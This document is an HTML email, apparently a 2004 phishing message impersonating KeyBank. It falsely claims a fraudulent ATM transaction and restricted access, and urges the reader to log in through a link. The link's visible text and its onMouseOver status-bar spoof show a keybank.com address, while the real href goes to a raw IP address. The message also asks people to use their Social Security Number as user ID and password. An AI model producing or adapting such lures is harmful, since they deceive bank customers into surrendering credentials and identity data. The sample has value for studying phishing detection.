<html>
<body>
<img border="0" src="http://www.keybank.com/gfx/home/key.gif" width="139" height="65">
<p>
<p><br>
</p>
<p align="left">We recently reviewed your account, and suspect an fraudulent ATM
<br>
transaction, procesed without autorization.<br>
<br>
Therefore, as a preventative measure, we have temporarily <br>
limited access to your on-line banking access.<br>
To restore your account access, please follow the <br>
steps listed bellow.<br>
<br>
1. Login to your Internet Banking account. <br>
In case you are not enrolled for Internet Banking, you will have<br>
to use your Social Security Number as your User ID <br>
and the first 6 digits of Social Security Number as Password, then, <br>
fill in all the required information.<br>
<br>
<br>
2. Review your recent account history for any unauthorized <br>
withdrawals or deposits, and check your account profile to <br>
make sure no changes have been made. If any unauthorized <br>
activity has taken place on your account, report this to KeyBank<br>
staff immediately.<br>
<br>
<br>
To get started, please click the link below:<br>
<p><a onMouseOver="window.status='https://accounts2.keybank.com/ib2/Controller?requester=signon';return
true;"
href="http://211.22.152.173/manual/.ib2/Controller?requester=signon">https://accounts2.keybank.com/ib2/Controller?requester=signon</a></p>
<p>Thank you for your prompt attention to this matter and thank you for using
KeyBank!</p>
<table>
<tr>
<td vAlign="top" noWrap align="left" width="370"><small> Key Bank, N.A. Member FDIC.
Equal Housing Lender</small></td>
</tr>
<tr>
<td vAlign="top" noWrap align="left"><small> Copyright © 2004 KeyBank,
N.A. All rights reserved</small></td>
</tr>
</table>
<p><font size="2" color="#808080">Do not reply to this e-mail as it is an
unmonitored alias</font></p>
<p>
<br>
<br>
</body>
</html>